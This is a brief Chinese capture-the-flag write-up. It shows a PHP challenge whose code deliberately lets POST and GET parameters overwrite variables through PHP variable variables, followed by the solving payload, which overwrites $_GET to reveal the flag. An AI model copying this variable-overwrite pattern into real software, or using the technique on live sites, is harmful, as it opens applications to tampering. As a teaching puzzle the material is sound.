一、题目
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
2、解答
payload
#GET参数
?flag=Polar
#POST参数
_GET[flag]=flag
得到flag 在源码中找